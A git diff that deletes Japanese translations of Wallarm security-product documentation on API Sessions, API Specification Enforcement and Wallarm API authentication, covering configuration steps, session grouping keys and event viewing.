![GraphQLポリシーのブロックアクション](../images/user-guides/rules/graphql-rule-2-action.png) - -## ルールベースの保護 - -**GraphQL API protection** mitigation controlで説明したものと同じ設定を使用します。相違点は、Wallarm Console → **Security Controls** → **Rules WAF**で操作することだけです。 \ No newline at end of file diff --git a/docs/latest-ja/api-sessions/blocking.md b/docs/latest-ja/api-sessions/blocking.md deleted file mode 100644 index 2fbb34aaed..0000000000 --- a/docs/latest-ja/api-sessions/blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/blocking.md" \ No newline at end of file diff --git a/docs/latest-ja/api-sessions/exploring.md b/docs/latest-ja/api-sessions/exploring.md deleted file mode 100644 index e40968096b..0000000000 --- a/docs/latest-ja/api-sessions/exploring.md +++ /dev/null @@ -1,89 +0,0 @@ -[link-attacks]: ../user-guides/events/check-attack.md -[link-incidents]: ../user-guides/events/check-incident.md -[link-sessions]: ../api-sessions/overview.md -[link-api-abuse-prevention]: ../api-abuse-prevention/overview.md -[img-api-sessions-api-abuse]: ../images/api-sessions/api-sessions-api-abuse.png - -# API Sessionsの探索 - -Wallarmの[API Sessions](overview.md)がお使いのアプリケーションに関連するユーザーセッションを特定すると、Wallarm Consoleの**API Sessions**セクションでそれらを確認できます。本記事では、検出されたデータをどのように確認するかを説明します。 - -## 脅威アクターの活動の全体像 - ---8<-- "../include/request-full-context.md" - -## 特定期間内のアクティビティ - -指定した時間範囲内に何が起きたかを調査できます。そのためには、日付/時刻フィルターを設定します。指定した時間に発生したリクエストを含むセッションのみが表示され、各セッション内でもその時間範囲のリクエストのみが表示されます。 - -![!API Sessions - 特定期間内のアクティビティ](../images/api-sessions/api-sessions-timeframe.png) - -ヒント: ご自身のブラウザーで[セッションへのリンク](#sharing-session-information)を使用し、**その後**時間範囲を設定して、選択した時間内の選択したセッションからのリクエストのみを表示します。 - -## セッション内の特定のアクティビティ - -セッションには、POSTやGETなどのさまざまな種類の多数のリクエスト、異なるレスポンスコード、異なるIPからのもの、正当なものとさまざまな攻撃タイプの悪意のあるものが含まれる場合があります。 - -セッション詳細では、さまざまな基準によるリクエスト分布の包括的な統計を確認できます。セッション内フィルターを1つまたは複数適用して、特定のリクエストのみを表示できます。 - -![!API Sessions - セッション内のフィルター](../images/api-sessions/api-sessions-inline-filters.png) - -セッション内フィルターは**API Sessions**セクションの全体フィルターと連動します: - -* 全体フィルターを適用した後に開いた任意のセッションはこれらのフィルターを共有します（セッション内で**Show all requests**をクリックすると解除できます）。 -* **Apply filters**ボタンを使用して、現在のセッション内に全体フィルターを適用します。 - -## 影響を受けたエンドポイントの確認 - -セッションのリクエスト詳細の**API Discovery insights**を使用して、影響を受けたエンドポイントを確認します。エンドポイントにリスクがあるか、そのリスクがエンドポイントが[ローグ](../api-discovery/rogue-api.md)（具体的にはシャドウまたはゾンビAPI）であることに起因するか、どの程度どの対策で保護されているかをすぐに把握できます。 - -![!API Sessions - APIDエンドポイントインサイト](../images/api-sessions/api-sessions-apid-insight.png) - -[**API Discovery**](../api-discovery/overview.md)セクションのエンドポイント情報に切り替えるには、**Explore in API Discovery**をクリックします。 - -## パフォーマンス問題の特定 - -セッションのリクエスト詳細にある**Time,ms**および**Size,bytes**列を使用して、表示されたデータを平均的な想定値と比較できます。大幅に超過している値は、パフォーマンス問題やボトルネックの可能性、ならびにユーザー体験を最適化できる可能性を示します。 - -## 機微なビジネスフロー - -[API Discovery](../api-discovery/overview.md)では、[機微なビジネスフロー](../api-discovery/sbf.md)機能（NGINX Node 5.2.11またはネイティブNode 0.10.1以上が必要）により、認証、アカウント管理、課金などの特定のビジネスフローや機能にとって重要なエンドポイントを自動および手動で特定できます。 - -セッションのリクエストが、API Discoveryで特定の機微なビジネスフローに重要とタグ付けされたエンドポイントに影響する場合、そのセッションにもそのビジネスフローに影響していることを示すタグが自動的に付与されます。 - -セッションに機微なビジネスフローのタグが付与されると、特定のビジネスフローでフィルタリングできるようになり、分析で最も重要なセッションを選びやすくなります。 - -![!API Sessions - 機微なビジネスフロー](../images/api-sessions/api-sessions-sbf-no-select.png) - -Wallarmはビジネスフローを一覧表示し、セッションの総リクエスト数に対する当該フロー関連のリクエスト数と割合を表示します。 - -セッションは次のいずれかの機微なビジネスフローに関連付けられる場合があります: - ---8<-- "../include/default-sbf.md" - -**Business flow**フィルターを使用して、特定のフローに影響するすべてのセッションを迅速に分析することができます。 - -## ユーザーとロール別のセッション - -API Sessionsでユーザーとそのロールに関する情報を取得するように[設定](setup.md#users-and-roles)している場合、ユーザーおよびロールでセッションをフィルタリングできます。 - -![!API Sessions - ユーザーおよびユーザーロールの表示](../images/api-sessions/api-sessions-user-role-display.png) - -## API不正使用検知の精度の検証 - ---8<-- "../include/bot-attack-full-context.md" - -## 攻撃検知の調整 - -セッションの悪意のあるリクエストから直接、攻撃検知に関するWallarmの動作を調整できます: - -* 攻撃を[誤検知](../about-wallarm/protecting-against-attacks.md#false-positives)としてマークできます。フィルタリングノードは今後そのようなリクエストを攻撃として認識しません。 -* [ルール](../user-guides/rules/rules.md)を作成できます。アクティブになると、そのルールはリクエストの分析およびその後の処理におけるWallarmのデフォルト動作を変更します。 - -![!API Sessions - リクエスト詳細 - 利用可能なアクション](../images/api-sessions/api-sessions-request-details-actions.png) - -## セッション情報の共有 {#sharing-session-information} - -セッションで不審な挙動を見つけ、洞察を同僚と共有したり、さらなる分析のためにセッションを保存したい場合は、セッション詳細の**Copy link**または**Download CSV**を使用します。 - -![!API Sessions - セッション情報の共有](../images/api-sessions/api-sessions-share.png) \ No newline at end of file diff --git a/docs/latest-ja/api-sessions/overview.md b/docs/latest-ja/api-sessions/overview.md deleted file mode 100644 index 0381da3cc7..0000000000 --- a/docs/latest-ja/api-sessions/overview.md +++ /dev/null @@ -1,52 +0,0 @@ -# API Sessionsの概要 - -Wallarmの**API Sessions**は、トラフィック内のユーザーセッションの可視性を提供します。各セッションについて、Wallarmは詳細なリクエストおよび関連するレスポンスデータを収集し、セッション内のアクティビティを構造化して表示できるようにします。本記事では、API Sessionsの概要として、その目的、解決する課題、および主な機能について説明します。 - -API Sessionsを使用するには[NGINX Wallarm node](../installation/nginx-native-node-internals.md#nginx-node) 5.1.0または[native Wallarm node](../installation/nginx-native-node-internals.md#native-node) 0.8.0が必要です。レスポンスのパースにはNGINX Wallarm node 5.3.0またはnative node 0.12.0が必要です。 - -![!API Sessionsセクション - 監視対象のセッション](../images/api-sessions/api-sessions.png) - -## 対応する課題 - -API Sessionsが対処する主な課題は、Wallarmが検出した個々の攻撃だけを見ても完全なコンテキストが得られないことです。各セッション内のリクエストとレスポンスの論理的なシーケンスを捕捉することで、API Sessionsはより広範な攻撃パターンへの洞察を提供し、セキュリティ対策がビジネスロジックのどの領域に影響するかを特定するのに役立ちます。 - -**WallarmによりAPIセッションが正確に識別されることで、次のことが可能になります**: - -* API Abuse Preventionによるボット検出を[より高精度に](#api-sessions-and-api-abuse-prevention)します。 - -**WallarmによりAPI Sessionsが監視されていることで、次のことができます**: - -* [ユーザーアクティビティを追跡](exploring.md#full-context-of-threat-actor-activities)し、単一セッションで行われたリクエストの一覧を表示して、対応するレスポンスのパラメータも確認できるようにすることで、通常とは異なる行動パターンや典型的な使用からの逸脱を特定できます。 -* 特定の[誤検知](../about-wallarm/protecting-against-attacks.md#false-positives)を調整したり、[virtual patch](../user-guides/rules/vpatch-rule.md)を適用したり、[rules](../user-guides/rules/rules.md)を追加したり、[API Abuse Prevention](../api-abuse-prevention/overview.md)のコントロールを有効化したりする前に、どのAPIフロー/ビジネスロジックのシーケンスが影響を受けるかを把握できます。 -* [ユーザーセッションでリクエストされたエンドポイントを調査](exploring.md)し、その保護状況、リスクレベル、[shadowまたはzombie](../api-discovery/rogue-api.md)であるなどの検出済みの問題を迅速に評価できます。 -* [パフォーマンスの問題](exploring.md#identifying-performance-issues)やボトルネックを特定し、ユーザー体験を最適化できます。 -* 悪意のあるボット活動としてフラグ付けされたリクエストの全シーケンスと対応するレスポンスを併せて確認することで、[API不正検出の精度を検証](exploring.md#verifying-api-abuse-detection-accuracy)できます。 - -## API Sessionsの仕組み - -Wallarm nodeが保護対象として有効になっているすべてのトラフィックはセッションに編成され、**API Sessions**セクションに表示されます。 - -アプリケーションのロジックに基づいて、リクエストをどのようにセッションへグループ化するかをカスタマイズできます。また、セッション内に表示するリクエストおよび対応するレスポンスのどのパラメータを表示するかも指定でき、セッションの内容（ユーザーが何をどの順序で行ったか）を理解しやすくできます。詳細は[API Sessionsの設定](setup.md)を参照してください。 - -
        - -
        - -
        -
        - -なお、Wallarmはセッションを**直近1週間のみ**保存および表示します。パフォーマンスとリソース消費を最適化するため、これより古いセッションは削除されます。 - -## API SessionsとAPI Abuse Prevention - -Wallarmの[API Abuse Prevention](../api-abuse-prevention/overview.md)は、1つまたは複数の関連するセッション内のリクエストシーケンスを解析して悪意あるボットを検出します。例えば、`SESSION-ID`ヘッダーの値が同一で、時間/日付だけで区切られているセッション同士です。 - -したがって、アプリケーション固有のロジックに合わせて[リクエストのグループ化方法](setup.md#session-grouping)をカスタマイズすると、API Abuse Preventionの動作に影響し、セッションの識別とボット検出の両方がより正確になります。 - -## API SessionsにおけるGraphQLリクエスト - -API Sessionsは、[GraphQLリクエスト](../user-guides/rules/request-processing.md#gql)とその特有のリクエストポイントに対応しており、セッションの設定でGraphQLリクエストパラメータの値を抽出・表示するように構成できます。 - -![!API Sessionsの設定 - GraphQLリクエストパラメータ](../images/api-sessions/api-sessions-graphql.png) - -NGINX Node 5.3.0以上またはnative node 0.12.0が必要です。 \ No newline at end of file diff --git a/docs/latest-ja/api-sessions/setup.md b/docs/latest-ja/api-sessions/setup.md deleted file mode 100644 index 50a4ba3e4a..0000000000 --- a/docs/latest-ja/api-sessions/setup.md +++ /dev/null @@ -1,148 +0,0 @@ -# API Sessionsのセットアップ - -[API Sessions](overview.md)にはセッション識別のための組み込みルールが含まれており、有効化されたWallarm[node](../about-wallarm/overview.md#how-wallarm-works)があるだけで動作し始めます。必要に応じて、本記事で説明する方法でAPI Sessionsを細かく調整できます。 - -## セッションコンテキスト - -API Sessionsにおけるコンテキストとは、リクエストデータを論理的なセッションにグループ化し、レスポンスデータやメタデータを付与して、セッションアクティビティに関するより深い洞察を提供するための情報です。コンテキストを構成すると、各セッションと関連付けて追跡すべき側面や追加データを指定できます。 - -追加のリクエスト/レスポンスパラメータを加え、セッションを機微なビジネスフローに関連付け、ユーザーおよびユーザーロールの識別に使用できるパラメータを強調表示することで、セッションコンテキストを設定します。 - -!!! info "セッションコンテキストパラメータの許容数" - セッションコンテキストや[グルーピング](#session-grouping)に使用するセッションコンテキストパラメータは最大20個まで追加できます。 - -### 追加パラメータ - -**API Sessions**では、セッション内のリクエスト詳細にデフォルトで次が含まれます: - -* [セッショングルーピング](#session-grouping)に有効だったリクエストまたはレスポンスのパラメータ―独自のもの、または組み込みセットのもの（**API session ID parameters**グループで強調表示されます）。 -* Mitigation controlsにより[追加](#mitigation-controls)されたパラメータ（存在する場合）。 -* 悪意のあるリクエストの場合―リクエスト内容全体。 - -セッションの内容（アクターが何をどの順序で実行し、どのようなレスポンスが返ったか）を把握するために必要であれば、リクエストとそれに関連するレスポンスの両方に任意の追加（コンテキスト）[パラメータ](../user-guides/rules/request-processing.md)を追加できます。追加するには、Wallarm Console → **API Sessions** → **Session context parameters**でこれらのパラメータを追加します。追加後、WallarmはそれらをWallarm Cloudにエクスポートし、セッションリクエストの詳細（**API session parameters**グループ）に[表示](#data-protection)します。 - -![!API Sessions - コンテキストパラメータ](../images/api-sessions/api-sessions-context-parameters.png) - -いくつかの例を示します。 - -リクエストの`jwt_payload`からユーザー名を取得する場合: - -``` -{ - "token_type": "access", - "exp": 1741774186, - "iat": 1741773706, - "jti": "jti_value", - "user_id": 932, - "details": { - "username": "john-doe@company-001.com", - "rnd": "some_data", - "contact": { - "contactId": 438, - "contactUUID": "contact_UUID_value", - "firstName": "John", - "lastName": "Doe", - "portalSecurityLevel": 3, - "companyId": 255, - "companyName": "Company 001", - "companyUUID": "company_UUID_value" - } - } -} -``` - -...は次のように表示されます: - -![!API Sessions - コンテキストパラメータ - 例 - JWT](../images/api-sessions/api-sessions-context-parameters-example-jwt.png) - -リクエストボディから`email`パラメータを取得する場合: - -![!API Sessions - コンテキストパラメータ - 例 - リクエスト](../images/api-sessions/api-sessions-context-parameters-example-request.png) - -レスポンスボディから`product_id`パラメータを取得する場合: - -![!API Sessions - コンテキストパラメータ - 例 - レスポンス](../images/api-sessions/api-sessions-context-parameters-example-response.png) - -リクエストヘッダーからJWTトークンを取得する場合: - -![!API Sessions - コンテキストパラメータ - 例 - ヘッダー](../images/api-sessions/api-sessions-context-parameters-example-header.png) - - - -### ユーザーとロール - -セッションのユーザー名およびそのロールの命名に使用すべきセッションパラメータを強調表示できます。そのためには、Wallarm Console → **API Sessions** → **Session context parameters**でパラメータを追加し、**Type**から`User`または`Role`を選択します。 - -![!API Sessions - ユーザーおよびユーザーロールの設定](../images/api-sessions/api-sessions-user-role-select.png) - -ユーザーおよびそのロールの識別に使用するパラメータを構成すると、以降、セッションに対してこれらのパラメータが設定されるようになります。ユーザーとロールでセッションをフィルタリングできます。 - -![!API Sessions - ユーザーおよびユーザーロールの表示](../images/api-sessions/api-sessions-user-role-display.png) - - -### Mitigation controls - -[Mitigation controls](../about-wallarm/mitigation-controls-overview.md)はセッションコンテキストにさらなるパラメータを追加できます。例えば、**BOLA protection**のMitigation controlは、`object_id`パラメータを[列挙対象パラメータ](../api-protection/enumeration-attack-protection.md#enumerated-parameters)として、または[スコープのフィルター](../api-protection/enumeration-attack-protection.md#scope-filters)として使用したい場合があります。このようなパラメータが**API Sessions** → **Session context parameters**に追加されていない場合は、Mitigation controlの設定内で直接追加できます。API Sessionでは非表示として追加されます。つまり、リクエストに存在する場合はセッション詳細にこれらのパラメータが表示されますが、**Session context parameters**の設定画面には表示されません。 - -非表示で追加されたパラメータは20個のパラメータ枠を消費しません。これらのパラメータは、誤って削除されることを防ぐために非表示になっています。削除するとMitigation controlによる保護が停止する可能性があるためです。 - - -## セッションのグルーピング - -Wallarmは、選択されたリクエストおよび/またはレスポンスのヘッダー/パラメータの**同一の値**に基づいて、アプリケーションのトラフィックに含まれるリクエストをユーザーセッションにグループ化します。設定では、グルーピングキーとしてマークされたパラメータがこれに該当します。グルーピングキーの動作は[例](#grouping-keys-example)をご覧ください。 - -デフォルトでは、そのようなパラメータの**組み込みセット**でセッションを識別します（Wallarm Consoleには表示されません）。ロジックとしては、`PHPSESSID`や`SESSION-ID`ヘッダーなどの一般的な識別パラメータを試行し、それが機能しない場合は、`リクエスト送信元IPとuser-agent`の組み合わせ（またはuser-agentが存在しない場合は少なくともIP）に基づいてセッションを形成します。 - -アプリケーションのロジックに基づく独自の識別パラメータを追加できます。追加するには、Wallarm Console → **API Sessions** → **Session context parameters**でリクエストまたはレスポンスのパラメータを追加し、そのパラメータに対して**Group sessions by this key**を選択します。 - -!!! info "`API Abuse prevention`によるボット検出への影響" - WallarmのAPI Abuse Preventionは、悪意のあるボットの検出にセッションを使用します。アプリケーションのロジックに基づく独自のセッション識別パラメータを追加すると、セッション検出とAPI Abuse Preventionのボット検出の両方の精度が向上します。詳細は[こちら](overview.md#api-sessions-and-api-abuse-prevention)をご覧ください。 - -![!API Sessions - 設定](../images/api-sessions/api-sessions-settings.png) - -複数のグルーピングキーを追加できます。指定した順序で試行され、前のキーが機能しなかった場合にのみ次が試されます。ドラッグして順序を変更できます。独自のキーは常に組み込みのキーより先に試されます。 - -!!! info "`Mask sensitive data`ルールからの影響" - パラメータをグルーピングキーとして機能させるには、そのパラメータが[Mask sensitive data](../user-guides/rules/sensitive-data-rule.md)ルールの影響を受けていない必要があります。 - -**グルーピングキーの動作例** - -loginというルートがあり、レスポンスの`response_body →` `json_doc → hash → token`パラメータに特定の``を返すとします。以降のリクエストでは、この``が`get → token`または`post → json_doc → hash → token`のどこかで使用されます。 - -グルーピングキーとして使用する3つのパラメータ（レスポンスボディ、GETおよびPOSTリクエスト用）を構成できます。次の順序で試行されます（前のキーが機能しなかった場合にのみ次が試されます）。 - -1. `response_body → json_doc → hash → token` -2. `get → token` -3. `post → json_doc → hash → token` -4. （組み込みセット。上記がいずれも機能しない場合に使用されます） - -![!API Sessions - グルーピングキーの動作例](../images/api-sessions/api-sessions-grouping-keys.png) - -リクエスト: - -* curl `example.com -d '{in: 'bbb'}'`、レスポンス `'{token: aaa}'` → セッション「A」（**グルーピングキー#1が機能**） -* curl `example.com -d '{in: 'ccc'}' '{token: 'aaa'}'`、トークンなしのレスポンス → セッション「A」（**グルーピングキー#3が機能**） - -同じパラメータ値`aaa`により、これらのリクエストは1つのセッションにグループ化されます。 - - -## データ保護 - -API Sessionsでは、nodeからCloudへのエクスポート対象は、皆さまが選択したパラメータのみに限定されます。それらに機微なデータが含まれる場合は、エクスポート前に必ずハッシュ化してください。ハッシュ化すると実際の値は判読不能に変換されます。つまり、パラメータの存在と特定だが不明な値が、分析のための限定的な情報のみを提供します。 - -機微なパラメータをハッシュ化するには、Wallarm Console → **API Sessions** → **Session context parameters**で追加した後、それらに対して**Hashing (secret)**オプションを選択します。 - -Wallarmは選択したパラメータをエクスポート前にハッシュ化します。 - -## 解析対象トラフィック - -API Sessionsは、Wallarm nodeが保護するように有効化されているすべてのトラフィックを解析し、セッションに編成します。特定のアプリケーション/ホストに解析を限定したい場合は、[Wallarmサポートチーム](mailto:support@wallarm.com)までご連絡ください。 - -## 保存期間 - -**API Sessions**セクションには直近1週間のセッションが保存・表示されます。より古いセッションは、最適なパフォーマンスとリソース消費のために削除されます。 \ No newline at end of file diff --git a/docs/latest-ja/api-specification-enforcement/overview.md b/docs/latest-ja/api-specification-enforcement/overview.md deleted file mode 100644 index e71b6ed6a6..0000000000 --- a/docs/latest-ja/api-specification-enforcement/overview.md +++ /dev/null @@ -1,45 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# API Specification Enforcementの概要 - -**API Specification Enforcement**は、アップロードした仕様に基づいてAPIにセキュリティポリシーを適用するために設計されています。その主な機能は、仕様内のエンドポイント記述とREST APIに対して行われる実際のリクエストとの不一致を検出することです。こうした不整合が特定された場合、システムは事前定義されたアクションを実行して対処できます。 - -![API Specification Enforcement - 図](../images/api-specification-enforcement/api-specification-enforcement-diagram.png) - -## API Specification Enforcementが解決する課題 - -組織では、APIで公開された多数のアプリケーションを利用しており、それらにアクセスしようとする外部のIPアドレス（自動化ツールを含む）も多数存在する場合があります。特定の送信元、対象、または挙動に結び付けた制限を個別に作成する作業は、多くのリソースを消費します。 - -API Specification Enforcementは、ポジティブセキュリティモデルを活用することでセキュリティ運用の負担を軽減します。仕様によって許可されるものを定義し、少数のポリシーによってそれ以外の扱い方を定義します。 - -**API仕様でAPIインベントリを網羅的に記述している場合、次のことができます**: - -* この仕様をWallarmにアップロードします。 -* いくつかのクリックで、仕様に存在しない、または仕様に矛盾するAPI要素へのリクエストに対するポリシーを設定します。 - -その結果、次のことが実現します: - -* 個別の制限ルールの作成を避けられます。 -* それらのルールに不可避な更新作業も回避できます。 -* 個別の制限ルールが未設定の攻撃も見逃しません。 - -## 動作の仕組み - -リクエストはさまざまな観点で仕様に違反する可能性があります: - ---8<-- "../include/api-policies-enforcement/api-policies-violations.md" - -API Specification Enforcementを使用すると、CPU使用量は通常、約20%増加します。 - -リソースの消費を抑えるため、API Specification Enforcementには時間(50 ms)とリクエストサイズ(1024 KB)の制限があります。これらの制限を超えた場合、処理を停止し、**Attacks**セクションに**Specification processing overlimit**[イベント](viewing-events.md#overlimit-events)を作成して、いずれかの制限を超過したことを通知します。 - -!!! info "API Specification Enforcementとその他の防御手段" - API Specification Enforcementがリクエストの処理を停止しても、他のWallarmの保護処理で処理されないという意味ではありません。したがって、それが攻撃であれば、Wallarmの設定に従って記録されるかブロックされます。 - -制限やWallarmの動作(制限超過の監視からそのようなリクエストのブロックへの変更)を変更するには、[Wallarmサポート](mailto:support@wallarm.com)にお問い合わせください。 - -なお、API Specification EnforcementはWallarmノードが実施する通常の[攻撃の検出](../about-wallarm/protecting-against-attacks.md)に追加で適用されるものであり、それを置き換えるものではありません。したがって、トラフィックは攻撃の兆候の有無と仕様への適合の両方について検査されます。 - -## セットアップ - -API Specification EnforcementでAPIの保護を開始するには、仕様をアップロードし、[こちら](setup.md)に従ってポリシーを設定します。 \ No newline at end of file diff --git a/docs/latest-ja/api-specification-enforcement/setup.md b/docs/latest-ja/api-specification-enforcement/setup.md deleted file mode 100644 index 526b748f8a..0000000000 --- a/docs/latest-ja/api-specification-enforcement/setup.md +++ /dev/null @@ -1,52 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# API Specification Enforcementのセットアップ - -この記事では、[アップロード済みのAPI仕様](overview.md)に基づいてAPI保護を有効化および構成する方法を説明します。 - -## 手順1: 仕様のアップロード - -1. [US Cloud](https://us1.my.wallarm.com/api-specifications/)または[EU Cloud](https://my.wallarm.com/api-specifications/)の**API Specifications**セクションで、**Upload specification**をクリックします。 -1. 仕様のアップロードパラメータを設定し、アップロードを開始します。 - - ![仕様のアップロード](../images/api-specification-enforcement/specificaton-upload.png) - -仕様ファイルはAPI仕様の構文に準拠しているかを検証し、無効な場合はアップロードされません。仕様ファイルが正常にアップロードされるまで、API Specification Enforcementの設定は開始できませんのでご注意ください。 - -アップロード元としてURIを選び、**Regularly update the specification**（毎時）オプションを選択した場合、定期更新時にエラーが発生することがあります。例えば、URIが利用できない、または更新された仕様ファイルがAPI仕様の構文に準拠していないなどです。これらのエラーの通知を受け取るには、設定済みの[**Integrations**](../user-guides/settings/integrations/integrations-intro.md)で**System related**イベントを選択してください。このカテゴリには仕様のアップロードエラーに関する通知が含まれます。 - -## 手順2: ポリシー違反時のアクションを設定する - -1. **API specification enforcement**タブをクリックします。 - - !!! info "ローグAPIの検出" - * セキュリティポリシーの適用に加えて、仕様は[API Discovery](../api-discovery/overview.md)モジュールによる[ローグAPIの検出](../api-discovery/rogue-api.md)にも使用できます。API Discoveryが有効化されている場合、このタブが表示されます。 - * セキュリティポリシーの適用に仕様を使用する前に、API Discoveryを使ってローグ（シャドウ、ゾンビ、オーファン）APIの探索に使用することを推奨します。そうすることで、仕様が実際のクライアントからのリクエストとどの程度乖離しているかを把握できます。これらの相違は、セキュリティポリシー適用後に関連リクエストのブロックを引き起こす可能性が高いです。 - -1. **Use for API specification enforcement**を選択します。 -1. ポリシー違反時のアクションを有効化したい対象のホストまたはエンドポイントを指定します。 - - * アップロードした仕様の適用先エンドポイントを誤って指定すると、多数の[誤検知](../about-wallarm/protecting-against-attacks.md#false-positives)イベントが発生する点に注意してください。 - * 同一ホストに対し、異なるエンドポイント（例：`domain.com/v1/api/users/`と`domain.com/v1/api/orders/`）に適用される仕様が複数ある場合は、各仕様を適用するエンドポイントを必ず明示してください。 - * ホストに対して仕様を追加し、その後同一ホストの特定エンドポイントに別の仕様を追加した場合、両方の仕様がこれらのエンドポイントに適用されます。 - * この値は[URI constructor](../user-guides/rules/rules.md#uri-constructor)または[advanced edit form](../user-guides/rules/rules.md#advanced-edit-form)から設定できます。 - -1. リクエストが仕様に違反した場合のシステムの反応を設定します。 - - ![仕様 - セキュリティポリシー適用への利用](../images/api-specification-enforcement/specification-use-for-api-policies-enforcement.png) - - 想定される違反の詳細: - - --8<-- "../include/api-policies-enforcement/api-policies-violations.md" - - 仕様をセキュリティポリシーの設定に初めて使用する際は、必要なエンドポイントに仕様が適用され、実際のエラーを検出できていることを確認するため、反応として`Monitor`を設定することを推奨します。 - -## 無効化 - -API Specification Enforcementは、アップロード済みの仕様（または、各仕様で**Use for API specification enforcement**オプションを選択した複数の仕様）に基づいて動作します。特定の仕様でこのオプションの選択を外す、あるいは当該仕様を削除すると、その仕様に基づく保護は停止される点にご留意ください。 - -また、場合によってはAPIの一部に対してのみAPI Specification Enforcementの機能を無効化する必要があることがあります。次の方法で実施できます。 - -* [all-in-oneインストーラー](../installation/nginx/all-in-one.md)でのデプロイの場合、API Specification Enforcementを使用している任意の`server`セクションで、NGINXディレクティブ[`wallarm_enable_apifw`](../admin-en/configure-parameters-en.md#wallarm_enable_apifw)を`off`に設定します。 -* NGINXベースのDockerイメージの場合、`WALLARM_APIFW_ENABLE`[環境変数](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables)を`false`に設定します。 -* NGINX Ingress Controllerの場合、[`controller.wallarm.apifirewall`](../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewall)の値グループで`enable`を`false`に設定します。 \ No newline at end of file diff --git a/docs/latest-ja/api-specification-enforcement/viewing-events.md b/docs/latest-ja/api-specification-enforcement/viewing-events.md deleted file mode 100644 index bc638f0eb8..0000000000 --- a/docs/latest-ja/api-specification-enforcement/viewing-events.md +++ /dev/null @@ -1,23 +0,0 @@ -# API Specification Enforcementによって発生したイベントの表示 - -仕様に基づくセキュリティポリシーの適用に使用するAPI仕様を[アップロード](setup.md)し、エンフォースメントを構成すると、ポリシーの適用がリクエストに対して開始されます。本記事では、Wallarm Consoleでポリシーに違反したリクエストを表示および分析する方法を説明します。 - -## ポリシー違反リクエストの統計 - -ポリシー違反の傾向を把握するには、Wallarm Consoleの**API Specifications**→対象の仕様→**Policy violations**列に表示される仕様違反件数を確認します。このデータは直近7日間の状況を示します。 - -この数値をクリックすると、**Attacks**セクションで詳細を確認できます。 - -## ポリシー違反リクエストの分析 - -**Attacks**セクションでは、仕様に基づくポリシー違反に関連するイベントを見つけるために、[該当する検索キー](../user-guides/search-and-filters/use-search.md#spec-violation-tags)または対応するフィルターを使用します。 - -設定したポリシー違反時のアクションに応じて、ブロックされたイベントや監視対象のイベントが表示される場合があります。イベントの詳細には、違反の種類と原因となった仕様へのリンクが表示されます。 - -![仕様 - セキュリティポリシー適用に使用](../images/api-specification-enforcement/api-specification-enforcement-events.png) - -## 上限超過イベント - -対象の仕様ポリシーに関連するイベントを表示する際、リクエストを処理する間にAPI Specification Enforcementに適用される制限に関連した**Specification processing overlimit**という種類のイベントが表示されることがあります。詳細と可能な対処方法の説明は[こちら](overview.md#how-it-works)を参照してください。 - -**Attacks**セクションでは、上限超過イベントは`processing_overlimit`検索キーまたは**Processing overlimit**フィルターで見つけることができます。 \ No newline at end of file diff --git a/docs/latest-ja/api/overview.md b/docs/latest-ja/api/overview.md deleted file mode 100644 index 01e89d5c15..0000000000 --- a/docs/latest-ja/api/overview.md +++ /dev/null @@ -1,68 +0,0 @@ -[user-roles-article]: ../user-guides/settings/users.md#user-roles -[img-api-tokens-edit]: ../images/api-tokens-edit.png - -# Wallarm APIの概要 - -Wallarm APIは、Wallarmシステムのコンポーネント間の連携を可能にします。Wallarm APIのメソッドを使用して、次のエンティティを作成・取得・更新できます: - -* 脆弱性 -* 攻撃 -* インシデント -* ユーザー -* クライアント -* フィルタノード -* など - -APIメソッドの説明は、Wallarm Console → 右上 → `?` → Wallarm API Consoleから利用でき、次のリンクから直接アクセスできます: - -* https://apiconsole.us1.wallarm.com/ は[USクラウド](../about-wallarm/overview.md#cloud)向けです -* https://apiconsole.eu1.wallarm.com/ は[EUクラウド](../about-wallarm/overview.md#cloud)向けです - -![Wallarm API Console](../images/wallarm-api-reference.png) - -## APIエンドポイント - -APIリクエストは次のURLに送信します: - -* `https://us1.api.wallarm.com/` は[USクラウド](../about-wallarm/overview.md#cloud)向けです -* `https://api.wallarm.com/` は[EUクラウド](../about-wallarm/overview.md#cloud)向けです - -## APIリクエストの認証 - -Wallarm APIにリクエストを送信するには、認証済みユーザーである必要があります。APIリクエストの認証方法は、リクエストを送信するクライアントによって異なります: - -* [API ReferenceのUI](#wallarm-api-console) -* [独自のAPIクライアント](#your-own-api-client) - -### Wallarm API Console - -リクエストの認証にはトークンを使用します。トークンは、Wallarmアカウントでの認証に成功すると生成されます。 - -1. 次のリンクからWallarm Consoleにサインインします: - * https://us1.my.wallarm.com/（USクラウド） - * https://my.wallarm.com/（EUクラウド） -2. 次のリンクを使用してWallarm API Consoleのページを更新します: - * https://apiconsole.us1.wallarm.com/（USクラウド） - * https://apiconsole.eu1.wallarm.com/（EUクラウド） -3. 必要なAPIメソッド→Try it outセクションに移動し、パラメータ値を入力して、Executeをクリックします。 - -### 独自のAPIクライアント - -独自のAPIクライアントからWallarm APIへのリクエストを認証するには、次の手順を実行します。 - -1. [USクラウド](https://us1.my.wallarm.com/)または[EUクラウド](https://my.wallarm.com/)のWallarmアカウントにサインインし、Settings → API tokensに移動します。 -1. Wallarm APIにアクセスするための[トークンを作成](../user-guides/settings/api-tokens.md)します。 -1. トークンを開き、**Token**セクションの値をコピーします。 -1. 必要なAPIリクエストを送信する際、ヘッダーパラメータ`X-WallarmApi-Token`に**Token**の値を渡します。 - -[APIトークンの詳細→](../user-guides/settings/api-tokens.md) - - - -## API開発とドキュメントに対するWallarmのアプローチ - -Wallarm API Referenceはシングルページアプリケーション（SPA）であり、表示されるすべてのデータはAPIから動的に取得されます。この設計により、Wallarmは[API-first](https://swagger.io/resources/articles/adopting-an-api-first-approach/)アプローチを採用しています。新しいデータや機能は、まずパブリックAPIで利用可能になり、その次の段階としてAPI Referenceに記載されます。通常、新機能はパブリックAPIとAPI Referenceの双方で並行してリリースされますが、場合によってはAPI Referenceの更新に先行してAPIの変更がリリースされ、一部の機能はパブリックAPIからのみ利用可能なことがあります。 - -Wallarm API Referenceは、[Swagger UI](https://swagger.io/tools/swagger-ui/)ツールを使用してSwaggerファイルから生成されています。API Referenceは、利用可能なAPIエンドポイント、メソッド、データ構造を学ぶ簡便な手段を提供します。また、利用可能なすべてのエンドポイントを試す簡単な方法も提供します。 \ No newline at end of file diff --git 